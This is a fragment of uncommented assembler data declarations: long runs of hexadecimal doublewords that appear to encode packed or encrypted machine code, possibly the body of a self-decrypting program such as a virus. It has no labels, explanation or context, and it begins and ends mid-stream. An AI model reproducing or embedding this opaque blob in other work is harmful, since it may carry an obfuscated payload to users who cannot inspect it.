281D45B5h, 0D8B70F06h, 14D995FFh, 6A0628h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 33086CC3h, 0FF006A41h, 28046595h, 0EBC08B06h, 0DE717368h dd 4EC9A193h, 11B30263h, 0EFB47661h, 37EBBE6Ah, 386FC910h dd 34AA450Eh, 2001E6D0h, 0EF1DDA29h, 0B4B3B77Dh, 76CB6A0Ah dd 0B0E9CCEEh, 0DE030509h, 0E9AB4FCDh, 25A4AA95h, 0D183C78Ch dd 5AB3DDE4h, 1166EE30h, 0D131149Eh, 30F7850Ah, 0ED74B405h dd 71699149h, 2E6874h, 5FD45960h, 18EFF2B2h, 4D765882h dd 8E8C6h, 8E990000h, 0E7900C0Ah, 8B66F7DBh, 0EE95ED6h dd 37000000h, 0C16E83EEh, 0DAF888D2h, 0DBD19086h, 12C68189h dd 6600005Ah, 0DB33CE8Bh, 9698D8Bh, 3C8B0628h, 0F781F51Eh dd 38C8D333h, 6E8h, 97B5D900h, 8BCF5F87h, 28113585h, 0F7815A06h dd 72756694h, 69D858Bh, 0EF810628h, 731FF386h, 1D8D8B57h dd 8F062803h, 8B661E04h, 7E9C8h, 5950000h, 0F2366F07h dd 1EB83ABh, 61606057h, 13E9h, 0C5E9FB00h, 0CD9657FDh dd 0EAA3CF97h, 4505E379h, 0C198529Fh, 4B4B5961h, 39858B4Bh dd 81062821h, 0FFA6D8FBh, 1A850FFFh, 81000000h, 42D4FDE8h dd 36E93Eh, 92640000h, 0AC85F146h, 0EBC85ADBh, 3050D749h dd 0BE944h, 0A8000000h, 89C62D85h, 0D8276D9Dh, 0FF54E994h dd 97B6FFFFh, 89F0F88Eh, 837EEB97h, 0F977EB7Eh, 7467BAE7h dd 13E8h, 0AC69E200h, 0BEC1CFFh, 0BAF2BF4Ah, 50A7CE44h dd 744458E0h, 5EF98B66h, 0EE12BCBAh, 0BAC6811Fh, 66000075h dd 3CBBFE8Bh, 8B00001Dh, 0B136FFC8h, 8D8B5815h, 628185Dh dd 0DB8FE881h, 800F51CCh, 0Bh, 5860Fh, 81660000h, 817BBFEAh dd 0B8AA2CF0h, 0F081F92Ch, 594B675Ah, 1658D8Bh, 8B500628h dd 282C158Dh, 57068F06h, 59D2BF0Fh, 6502EE81h, 0B5890271h dd 62803B5h, 64FEC681h, 0B9660271h, 0EB83E831h, 1B850F01h dd 89000000h, 2820759Dh, 35E906h, 7E850000h, 8A8AD75h dd 684D58FFh, 74BEDD31h, 890F7CBFh, 6, 0E9FBEA81h, 72E90DC9h dd 78FFFFFFh, 0B6243649h, 0F89CCA58h, 8BB4727Eh, 55CB5FE3h dd 0E890C1BCh, 0Fh, 6A789A83h, 0B2F5DA11h, 3104AC40h, 8B6A7FA1h dd 0C7815FF1h, 6086h, 58D0Fh, 81660000h, 2BB303C9h, 171C8BD2h dd 0C5F4C881h, 0C38152ECh, 5587679Fh, 818AE880h, 0E9B402F3h dd 0C3C08158h, 810A33F2h, 0C56897F3h, 0C28B6652h, 2D8D8B53h dd 8F062808h, 840F1704h, 6, 16958D8Bh, 0EA830628h, 0B5858B04h dd 81062821h, 0FFA01CFAh, 18850FFFh, 8B000000h, 2800E58Dh dd 24E906h, 0C9AA0000h, 0EA8D4A41h, 0A05597A3h, 0E991644Fh dd 0FFFFFF91h, 0EB67B7C1h, 1E4990AEh, 0CD4A818Eh, 33359783h dd 0C08B3F7Ch, 149BD83h, 75000628h, 0C5BD8309h, 62814h dd 53501974h, 21B8C08Bh, 89000004h, 28029185h, 5E9D8D06h dd 0FF062AA5h, 83585BD3h, 2814C5BDh, 17740006h, 21B85350h dd 89000004h, 28029185h, 4D9D8D06h, 0FF062AA2h, 8B585BD3h dd 0DD9D8BC0h, 0C606282Bh, 280D2585h, 52685606h, 0FF9CA8B8h dd 28140DB5h, 58858D06h, 0FF062B6Fh, 68046AD0h, 1000h dd 2C39B5FFh, 6A0628h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h dd 2873C48Dh, 8BE1FF06h, 3C38BC8h, 0F8053C40h, 8B000000h dd 0D3030C50h, 391BD83h, 0F000628h, 0E84h, 919D8B00h, 8B062803h dd 2800CD85h, 51038906h, 0D9858D52h, 0FF062843h, 8BFA8BD0h dd 8BD18BF1h, 0C6A4F3C8h, 280D2585h, 39685606h, 0FFD41F6Dh dd 28140DB5h, 58858D06h, 0FF062B6Fh, 800068D0h, 6A0000h dd 8BD0FF52h, 49BD83C0h, 62801h, 0BD830975h, 62814C5h dd 50197400h, 0B8C08B53h, 421h, 2E558589h, 9D8D0628h, 62AA5C5h dd 585BD3FFh, 14C5BD83h, 74000628h, 0B8535017h, 421h, 2E558589h dd 9D8D0628h, 62AA266h, 585BD3FFh, 9D8DC08Bh, 6280391h dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h dd 13E80000h, 54000000h, 0D4350E68h, 0A23E5EBh, 0EF3E478Fh dd 346005D4h, 12E96E16h, 44000000h, 0D11FB13Bh, 6BFD3188h dd 0EF89B81Eh, 0C29228A9h, 0CA805F81h, 0A5C781A4h, 0E800005Bh dd 13h, 0E64A60BBh, 23F6A8BBh, 60CD298Dh, 0ACCD3D6Ch, 0FCE0D863h dd 0A9A0BE5Bh, 0C6812C09h, 0D3F66D14h, 9E8h, 0AB4B8400h dd 799797C5h, 0CA8AAF96h, 8A078B59h, 2E881F1h, 516F75B9h dd 10E8h, 0E3696300h, 0EFFE41F5h, 6E86D014h, 3EF4EE2Eh dd 880F7Eh, 59000000h, 0A8F08159h, 60127157h, 0E952EB80h dd 13h, 0A31930BBh, 0C67C8CCCh, 4427997Ah, 72B3F565h, 619BC557h dd 4677E881h, 7891E7Ah, 0D521E981h, 0EF835247h, 0D68B6604h dd 0F01EE83h, 0FFFF9885h, 1860FFFh, 0F8000000h, 1DE9h dd 0ED4AD000h, 8, 5 dup(0) dd 0A6E90000h, 1A000004h, 0D2D65349h, 85890604h, 363AB7B9h dd 0EDF16E64h, 0A2A52220h, 3A3805F4h, 0F0EAB9BDh, 0A2A46F73h dd 57512125h, 0BE24B4DAh, 795CA21Eh, 0A6D2471Ah, 1EDF6482h dd 89C7BB8h, 43686232h, 66602F55h, 0C4BE8D41h, 1F51B79Fh dd 452D5254h, 100EDBB1h, 5F2F5593h, 2BFBD165h, 88580C31h dd 0E7B5698Eh, 0ED534D1Dh, 666EEC8h, 73B278A0h, 83AFC7Fh dd 0A7A73B3Dh, 9E9868EEh, 0A2A40E32h, 5BC4147Ah, 0AE707F73h dd 0E5C96F7Eh, 612C3051h, 13DEE25Fh, 53787A45h, 2CE0056Bh dd 723E635Dh, 0D49F25DEh, 0F11755D2h, 8E8C5923h, 0F61B8169h dd 9C3CA20Eh, 987F7328h, 9C6C42D6h, 56897DA2h, 8A7F7328h dd 8F89587Eh, 0EEEE826Ah, 0EAC1B835h, 63F5BB31h, 22000000h dd 0AA1610E0h, 9334E44Ah, 7E407F73h, 0EF837D4Ch, 93EC3226h dd 36327F73h, 0F75DBD7Dh, 7F739321h, 0EB100AD9h, 0F5894B03h dd 312F5128h, 165BBh, 0E0920000h, 3BEF1412h, 964A6F6Dh dd 0F5A9CEC4h, 54082D23h, 0FD1B8189h, 777F7393h, 5E2A4FB5h dd 0B98B11CAh, 8D055DC3h, 82804ED4h, 37310105h, 13E051BAh dd 0DE02F015h, 0DED9ED21h, 7248DC8Dh, 0E23AA0A4h, 967F739Fh dd 82496ED4h, 456B2BE4h, 6553787Ah, 739FD9FFh, 33995B7Fh dd 34FCC99Fh, 1D695F3Dh, 2B97FD9Bh, 0D8DAA5CBh, 8359CBB3h dd 0B57F7374h, 3A3E5FF3h, 974B706Ah, 0F0A4C9CBh, 4AFE2325h dd 90577C7Eh, 0E7F39F2h, 0F7920FC8h, 0BFBB3214h, 8Ch, 4913E0ECh dd 6F577C7Eh, 6430E409h, 0EB633D62h, 0E1DFAC32h, 30002664h dd 95291136h, 0CFF4F2BFh, 2E53491Bh, 1F85E53Bh, 7F7393F9h dd 36F51E03h, 591115B3h, 4A030397h, 3192BCCDh, 61FABBh dd 0E0270000h, 757D4913h, 7393C90Fh, 43A96B7Fh, 994D71DDh dd 660E4F96h, 0D78B54E8h, 31E50A0Ch, 8D416664h, 0B79FC4BEh dd 97BCB685h, 0D28C45BDh, 379DFD6Fh, 7F73BFE1h, 99514719h dd 8A4343D7h, 0FD6F3704h, 10312F3Bh, 0E952CF35h, 0EF1412E0h dd 7393D8FBh, 4700FC7Fh, 3130AFCAh, 107BBh, 0A6340000h dd 22B6B080h, 1278804Ch, 7F7393CAh, 2146AC6Eh, 7EA39D6Dh dd 0A5651EB2h, 1DB1B37Fh, 0FC797B47h, 0B01C390Ch, 5B8C9F4Ah dd 0BADFA175h, 0BF3C3606h, 0CCF1EBBBh, 5B9406D8h, 0F2ECBC79h dd 4F4919CDh, 0CC5632Ah, 0D48DEF52h, 7847E4Eh, 14393303h dd 71969060h, 0CD530CAAh, 8B8603FDh, 0C15935EEh, 0E3C8h dd 80A6F500h, 6123B7B1h, 0CECC998Eh, 0EF5BC1A9h, 5B5E2689h dd 71965875h, 76F3EDBDh, 83A8A272h, 0E005FFCFh, 3CC27B19h dd 0FAF5726Ch, 0C159647Fh, 2E37h, 1FF46400h, 0C8309602h dd 0F8FF7393h, 0E00507D2h, 460864F8h, 93EF2D21h, 7BDFFF73h dd 567B50C2h, 937484EAh, 3E007F73h, 82BAC1h, 0F4C10000h dd 32980421h, 755BB4EFh, 0F6AACF91h, 0ABAF2C26h, 0C8BCE1DBh dd 795B8D0Bh, 0BCE1E3AFh, 183D3B08h, 0B314C42Ah, 5E20795Bh dd 1BD58E06h, 179D56B8h, 0E0D04D47h, 167CE80Dh, 730A81A6h dd 0FDEB10D2h, 0E70C0AD7h, 0C5956BFFh, 36DAA6CBh, 5FED5312h dd 8B5A86B0h, 1E846C91h, 5FD18A8Ah, 9BFB678Ch, 2495E735h dd 3F059173h, 5D7F59F6h, 7181157Bh, 2319EB11h, 6C8216FEh dd 7975A6CCh, 80E96628h, 980421F4h, 22A18A32h, 72CEE75h dd 0C898353h, 0D54A6ECEh, 31D00DC6h, 0F838E052h, 2288795Ch dd 795CF8FAh, 4204BC7Eh, 0E08D8AEh, 0AEB07CA2h, 440DA189h dd 9A7C7950h, 0CA83FB8Bh, 0FD7A7444h, 786529F9h, 9DC39066h dd 0C2B032DBh, 0F3598D83h, 0C9FD218Dh, 99767F8Ah, 0BF733CD0h dd 6D2F7EDh, 6333B972h, 88AEEC69h, 0E599BEB8h, 22B61C16h dd 5D827C4Ch, 3A6h, 3A87AD00h, 0F4190FE0h, 51767040h, 0ABD0D29Dh dd 92E28F7h, 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch dd 0D4F9F7C5h, 0E28952FFh, 4C281h, 0EA830000h, 24148704h dd 6824248Bh, 599Eh, 68243C89h, 2D44h, 56242C89h, 323FCEBEh dd 0DFBA5246h, 0F74BA81Ch, 3E2C1D2h, 0F508C281h, 0D6299D43h dd 5EF7895Ah, 242C8B54h, 4C481h, 89510000h, 458F51F9h dd 34FF5908h, 0C4835D24h, 243C8B04h, 5E08950h, 4, 8704C083h dd 0E95C2404h, 0FFF9497Dh, 0EFEB36E6h, 5E8023BBh, 4709E2DEh dd 35F0B848h, 0C503062Fh, 0A262E0FFh, 0D8C77CAAh, 0A7892D42h dd 0B88C0FD0h, 366B0DB2h, 0D54F08A0h, 0BF79684Bh, 1A1E7A6Bh dd 6DBE7C98h, 843757FBh, 136D409Fh, 0E9895183h, 3E0A28E9h dd 3A2D0093h, 65C51B94h, 91F93FDAh, 810577D5h, 9BB309A7h dd 0F08253F4h, 0CEB15E7Ah, 0DE8055Eh, 0C8000000h, 1E515F89h dd 955CEE06h, 61D6EB0Fh, 5AC38B66h, 0FE9h, 38D80B00h, 804BAB41h dd 556D4BF6h, 0C7AD5AAEh, 0E370C281h, 0D5BE0000h, 81080611h dd 5D917EEh, 5E95008h, 82000000h, 9E697400h, 811A8B58h dd 0EC47C4EBh, 0ACC3813Ah, 810CD5A9h, 0AE7F10F7h, 88F38177h dd 0FC775B35h, 820F1A89h, 3, 83C2B70Fh, 0EE8104EAh, 1 dd 0FFCB850Fh, 18BFFFFFh, 5520726Ah, 5E75FDEDh, 0A476F67Ah dd 0BC56E669h, 5CCFD49h, 2B22FD21h, 3C63FD21h, 0B5C1FD21h dd 70B3FD21h, 92A9FD21h, 0E276FD21h, 5A57FD21h, 642FD21h dd 2889FD21h, 3C46FD21h, 0B7BBFD21h, 7104FD21h, 93E5FD21h dd 0E2C6FD21h, 5982FD21h, 5D6FD21h, 259DFD21h, 2295358Ah dd 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h dd 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh dd 5E75FD7Ah, 0EF76FD7Ah, 2275A620h, 0CB75A621h, 0E475FD7Ah dd 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0F0701Ah, 0A673D241h dd 0B84268FFh, 0BFF0707Ch, 6C73D241h, 0DD42A8FFh, 0CBF0707Ch dd 3573D241h, 71426CFFh, 3DF0707Ch, 1E73D241h, 0E442A4FFh dd 34F0707Ch, 7B73D240h, 5642A0FFh, 0D3F0707Ch, 0D773D243h dd 429CFFh, 16F0707Ch, 4273D243h, 0CA4298FFh, 65F0707Ch dd 0F073D243h, 934294FFh, 0ACF0707Ch, 0A673D243h, 0B84288FFh dd 75F0707Ch, 6C73D243h, 0DD4290FFh, 0A4F0707Ch, 3573D243h dd 71428CFFh, 0DDF0707Ch, 1E73D243h, 0E44288FFh, 0C9F0707Ch dd 7B73D240h, 564278FFh, 0F7F0707Ch, 0D773D240h, 4274FFh dd 0F9F0707Ch, 4273D240h, 0CA4270FFh, 45F0707Ch, 0F073D240h dd 934284FFh, 0B0F0707Ch, 0A673D240h, 0B84280FFh, 42F0707Ch dd 6C73D241h, 0DD427CFFh, 3CF0767Ch, 3573D57Ah, 714233FFh dd 0A6F0767Ch, 1E73D554h, 0E4422FFFh, 0B0B69C7Ch, 0F29D11F1h dd 2375FD7Ah, 849717FBh, 0D525FB55h, 0ADFDF53Fh, 915ACAB7h dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0BF987C27h dd 0A073D243h, 42A9FFh, 0C3C87D7Ch, 0CF73D24Dh, 0E4C5B409h dd 0F9B54B75h, 863589BAh, 93422FEFh, 96FEBD7Ch, 2F7A452Bh dd 28AFD7Ah, 0CD5ACAA8h, 0D22048F7h, 0C6F8FB55h, 4B9D50FCh dd 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 915ACAA8h, 0FC2048F7h dd 0D1F8FB55h, 228A50FCh, 87BC1F23h, 9342A9F7h, 52DA07Ch dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F45ACAB4h dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 0B84233EFh dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h, 934233EFh dd 54C54D7Ch, 0BA8AAD79h, 915ACAB4h, 2BF69B20h, 277E9B7Eh dd 1AB6561Ch dd 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h dd 7F5DF70h, 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h dd 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch dd 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h dd 94913D59h, 7F5DF70h, 0B5FF4DBAh, 0C5BB6885h, 1F2FFB55h dd 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh dd 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h dd 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h dd 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h dd 0D75FD7Ah, 56422FEFh, 25C0707Ch, 5D73D24Dh, 2C7F518Ah dd 59E002D0h, 873D24Dh, 0E574E592h, 0F8254D7Ah, 4B9D5779h dd 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h dd 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh dd 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h dd 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h dd 0E442B6FFh, 0AEC87D7Ch, 0F373D24Dh, 0FCF8EC0Fh, 0BA5ACAC7h dd 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h dd 0D8A00C3h, 87DF9CCAh, 9342B6F7h, 15C87D7Ch, 2F73D24Dh dd 12F8F10Fh, 0CD5ACAC7h, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh dd 8BA76885h, 0C3F8FB55h, 295AC160h, 3D6DF9F0h, 619C4DB9h dd 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h dd 295ACAB4h, 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h dd 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h dd 0E44233EFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h dd 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah dd 0F45ACAA8h, 4EC460F7h, 0A0F8FB55h, 4ECD3E39h, 0D075FD7Ah dd 0B8422FEFh, 0CEB57E7Ch, 1A8935F1h, 0DD4233EFh, 8E97577Ch dd 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch dd 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah dd 135F17FBh, 0EAFCFB55h, 6CF7D86h, 0E573D24Dh, 0F2EC7975h dd 73CDFD7Ah, 4375FD7Ah, 71422FE8h, 0ADFCBD7Ch, 915ACAACh dd 79F835F1h, 0E35AC184h, 0C5BB6F85h, 7FFDFB55h, 4801F3Ch dd 5E75FD6Dh, 18A37F79h, 1A35FB55h, 0E4490FE0h, 0E1B67E7Ch dd 4B22FEF3h, 7975FD64h, 8BA37779h, 0ECF8FB55h, 295AC19Ah dd 2F2B5989h, 0CB75FD72h, 0D2A76F85h, 0AF6FB55h, 7185897Eh dd 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h dd 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h dd 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h dd 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh dd 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah dd 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0E448EC90h, 3FCF707Ch dd 7973D24Dh, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh dd 0B84227E7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h dd 0BC9D9D96h, 475FD7Ah, 123F17FBh, 25F8FB55h, 0CD5ACAA0h dd 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h, 69AF40F7h dd 0EF46FB55h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F45ACAA0h dd 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h dd 0ABB69C82h, 0D2AF40F7h, 0F3CDFB55h, 0C075FD7Ah, 0BC75FD72h dd 9D145789h, 0EFFE3DF1h, 0A09278F7h, 0D08AFB55h, 2BE9CA8Bh dd 0C000000h, 65E8C6h, 9 dup(0) dd 4FE90000h, 0F2000005h, 0AAAE2B21h, 5D61DEDCh, 0E128F91h dd 0C5C9463Ch, 7A7DFAF8h, 1210DD2Ch, 0C8C29195h, 7A7C474Bh dd 2F29F9FDh, 96FC8CB2h, 795CAE46h, 0AFD51FF2h, 1550E4E2h dd 0AA1610E0h, 0F4ECB884h, 634B2255h, 2B6DB41h, 2A123735h dd 796730C4h, 5DAB5F55h, 734C21F7h, 6191537Fh, 0A9EF13Ch dd 0EC696734h, 0F91E18E8h, 567B7545h, 3E0AD4A2h, 0D7B1D63Ch dd 0C0E6A65Fh, 0E6CEF3F5h, 0E6AC7C52h, 0FF71C16h, 5D282CA9h dd 298FEF5Bh, 7F7301F3h, 0E2FC385h, 0D13D3F0Ah, 4ADEE0ABh dd 4FECD81h, 0C67F13DFh, 0F6737540h, 0BC2222F2h, 7F73011Ch dd 0CBF05618h, 730104D7h, 23DCD87Fh, 31C1D3A6h, 6EE3BBh dd 0E0100000h, 82784A10h, 0BC8AB01Ch, 0BF2527F2h, 9646AC9Ah dd 0A27F7393h, 1DE67AE0h, 7393F529h, 0F71D297Fh, 19072C2Ah dd 739365B3h, 0E74D0F7Fh, 1D9A5353h, 0BB312F5Ch, 0A870D636h dd 0CC7F739Fh, 0A8A760Ah, 0E2000000h, 0C15909BEh, 67FB899Fh dd 1412E02Ch, 6F6D3BEFh, 0CEC4964Ah, 716F3C62h, 7D0644Ch dd 76FCB52Dh, 292DAAA8h, 79E25F59h, 7C4913E0h, 3FF3187Eh dd 874E7371h, 0DDAA30E9h, 2462DFh, 90608A2Ch, 0AB796696h dd 21F1C75Bh, 0C795BB27h, 7E6C35C9h, 4A60B81Eh, 52147F73h dd 1A1CE8BEh, 3BC02F5h, 32060386h, 0B5B3BBh, 0E0E00000h dd 0D0994B13h, 0CCFED24Bh, 28D6FA66h, 2F62C277h, 0C80ECE34h dd 682A7F73h, 0F1A56E02h, 57B72325h, 73C82BF1h, 0A04D37Fh dd 8345FDE5h, 5E838551h, 6519E276h, 3F37CF97h, 75AD9DE5h dd 2538EA0Fh, 7D81D984h, 7E784779h, 40F98D59h, 0FDB62E86h dd 2FACAA77h, 3B605E2Bh, 5187ED4Dh, 0E37F736Ch, 0E5B78D21h dd 8D5D83EFh, 0F2866E93h, 37F03629h, 322CCFBAh, 3D63C3BBh dd 0D503756Bh, 0E77F729Ah, 0C189E4D3h, 1FE199ECh, 549F8Bh dd 0D1F70000h, 3A7509FFh, 0F01513E0h, 4A6F713Ch, 31FCCA96h dd 0F0A4C92Fh, 36FD2224h, 0C225DF98h, 5421A760h, 0E070D956h dd 1EF1412h, 69B7CFDDh, 2C929642h, 7F737CECh, 0CC60C688h dd 737C63B6h, 85ABB77Fh, 0AB93B8BAh, 0E15E1717h, 0BB321E98h dd 11Eh, 80A64B00h, 4D23B7B1h, 0A65A7F81h, 0EBB7DCD6h dd 4C189E57h, 0ADDCD4Ah, 935F7DE3h, 17D97F73h, 7FE545B1h dd 7F739359h, 847E4DDBh, 147A8A1Eh, 755B8CC9h, 0D084A96Bh dd 429A0000h, 0F6795B94h, 4D51CE34h, 6A5E837Dh, 795B94B4h dd 7C02BB1Dh, 0F735B2ACh, 6F0305D1h, 0AACFC999h, 0CBC996BCh dd 97916137h, 9DFDAB72h, 5B94E137h, 4F491979h, 4141D597h dd 0D2A2C888h, 37CBB3D8h, 0FCCB9161h, 241F9C02h, 0C1593655h dd 11461h, 21F48E00h, 0D8389804h, 7393AA72h, 780CCE7Fh dd 5B5ECF62h, 4A6F3175h, 4FCCC696h, 5C817B4Bh, 0B9DED8A8h dd 159B54F2h, 0D3CE4B45h, 0C15964A6h, 1BE7C8ECh, 3290D4F7h dd 45B29Eh, 0AA0A0000h, 5B679444h, 5686EC79h, 0E2795B67h dd 12A66820h, 21FF4D7h, 93C83096h, 0EAACFF73h, 8C8A587Eh dd 22EB7F67h, 7393EE2Eh, 0C37CE0FFh, 0EB577C51h, 73937785h dd 59274D7Fh, 0A96BC75Bh, 93252Ch, 0F42C0000h, 32980421h dd 755BB4EFh, 0F6AACF91h, 0ABAF2C26h, 4F75E1DBh, 25EE8284h dd 5B8DF031h, 0CC85E779h, 0FF7C7646h, 0AB173C0Fh, 5C56254Bh dd 7530B2C8h, 0C854730Ah, 0FD63226Fh, 7324D1DFh, 0D4679759h dd 36E64C57h, 427324A8h, 8FB41A80h, 0E4B07BA1h, 34E75E2Fh dd 274CB255h, 0AF6DD33Fh, 0C973248Ch, 0CD9D7307h, 0A10767D3h dd 73248C7Bh, 0F35171FDh, 5A1C7CDFh, 0CB9760F4h, 390C7E37h dd 0BA8AB01Ch, 0B61C2CC0h, 7975353Ch, 0DB199658h, 59EDE3B5h dd 421F41Eh, 55B03298h, 0FC207522h, 68412135h, 72CE6280h dd 7D78BB0h, 0BC8C900Dh, 633056C2h, 1408D165h, 0DE951A66h dd 6286E66Eh, 7EF1FB61h, 0D20A7CF2h, 0B21685EBh, 85EB8C4Ch dd 2EE6A816h, 429A006Ch, 0F61685EBh, 0E7A0A034h, 0BB61C727h dd 91685EBh, 85EB75A3h, 853DFF16h, 89592FC3h, 3E0E128Fh dd 996B1F44h, 441137A3h, 0A5392146h, 5D5B28DCh, 0BCB28438h dd 7E37CB97h, 2DE67AC4h, 60DDD7A7h, 312FFC22h, 0BA90240Ch dd 14CBF0EAh, 0Dh, 565871Bh, 7393799Fh, 0A539FB7Fh, 190FE06Ah dd 767040F4h, 0D0D29D51h, 2E28F7ABh, 8A885509h, 0E6E4B165h dd 453B0DC1h, 9EA06C20h, 0F9F7C579h, 8956FFD4h, 4C681E6h dd 50000000h, 4B8h, 58C62900h, 5C243487h, 81E68956h, 4C6h dd 4EE8300h, 5C243487h, 56241489h, 0C681E689h, 4, 8704EE83h dd 895C2434h, 0EE68243Ch, 8B062F3Dh, 0C4832414h, 52B96804h dd 24890000h, 24048124h, 4, 8B8505Fh, 1000000h, 8F52F8h dd 2434FF58h, 4C4815Fh, 8B000000h, 89532414h, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 3CABE95Ch, 0DA15FFF9h, 3174E8B1h dd 0CBF4431h, 0A9B8FB37h, 3062F42h, 59E0FFC5h, 4A3DF7EAh dd 355A1CEEh, 684106E2h, 92893D0h, 0ED531978h, 0CC056259h dd 0B646BD2Ch, 907096ABh, 0EB775A0Bh, 835F440Ch, 0FE0FE21Dh dd 0B6747B00h, 5F9E9C1h, 0EDE90000h, 5E000005h, 161A978Dh dd 0C9CD4A48h, 7A7EFBFDh, 3135B2A8h, 0E6E96664h, 7E7C49B8h dd 342EFD01h, 0E6E8B3B7h, 9B956569h, 268F81Eh, 795CD0DAh dd 0E0168B5Eh, 7D7F4A10h, 0E54BAB17h, 7F739337h, 0AD137F41h dd 7F73936Fh, 0EAB34709h, 44696B36h, 0A2C7C190h, 885721EEh dd 0D3F8F2C2h, 786085EBh, 0D9FFED12h, 1E90E0Ch, 0CCCA976Dh dd 2B21F3A7h, 7E865206h, 7393C018h, 4CB2747Fh, 0A7A57327h dd 0E60FE282h, 64B41A7Ah, 107F7393h, 44AABA4Eh, 7522503Ch dd 9D517638h, 373503D1h, 845054D1h, 0D7C6167Ch, 2DF8795Ch dd 661E062Bh, 0ACD23EA4h, 0D5BDE2DCh, 0EF847841h, 0B868FDBh dd 1D73D39h, 335EAFABh, 32E60B71h, 3BE89E62h, 0FC54A0A2h dd 298D7196h, 0E65EB670h, 0D9DBA72Dh, 7C996C5Ch, 1C1EEA10h dd 5E127888h, 254FE46h, 87ACA274h, 6014399Fh, 0FFF5C795h dd 0F8CF2DAh, 0D238400Bh, 5778C90Ah, 0E1066C2Eh, 8F6B9FEDh dd 28E1595Dh, 7AA20868h, 0FE51AF6Fh, 7D2A83Ch, 0EA4A8805h dd 0AF6F5484h, 0B21EE051h, 0AF6F8C4Ch, 52E6A851h, 2C98BD90h dd 35D32908h, 0F6C63330h, 0F20296FCh, 87E7F98Ch, 0C4C3E75Bh dd 0F8E5096h, 0AFD4CE9Eh, 71CD61C7h, 501D43AFh, 1F5BE52h dd 4A771EDFh, 0E9A962A8h, 61F5F7C3h, 35BCE594h, 0BA87ADF0h dd 73C28BCh, 69000000h, 375DDh, 80A6E400h, 0AF96ECB0h dd 0ACAD4CD0h, 0A06D2146h, 0D2A83CA2h, 0F2E00507h, 96CD84CEh dd 0AB17231Dh, 73D29745h, 4BDFA17Fh, 0BDBA975h, 9E04EC11h dd 78319579h, 2AF258B8h, 4E7F73D2h, 5722F88Ch, 0F5C3E955h dd 3E4263F7h, 9D4C7173h, 8E47E309h, 0BE3B3D08h, 80ECEEBAh dd 2E2CFA20h, 69AF2109h, 0B7F73D2h, 38ECB549h, 974B7066h dd 0F6AACFC5h, 21062B29h, 0B38006BFh, 71054FB5h, 646632B8h dd 0F1D7A3E7h, 5623BC99h, 8D7DB58h, 6635E90Eh, 0FDA006Ch dd 6634E80Dh, 0A56E0268h, 2523F1h, 5B807E4Ch, 0A15B1476h dd 5818D149h, 0F74A92F8h, 0D43A4095h, 4095F704h, 0F4B66E30h dd 0E6E630C4h, 6BFF0C25h, 4FCCC695h, 0D248h, 1BF44F00h dd 8BEBD9FEh, 9317C52Bh, 5F217F73h, 73932FEDh, 0EFBB497Fh dd 8A5587EDh, 4E1EF488h dd 7D3D754h, 0A5CFA3Bh, 0A80E3E0Eh, 0CD498F83h, 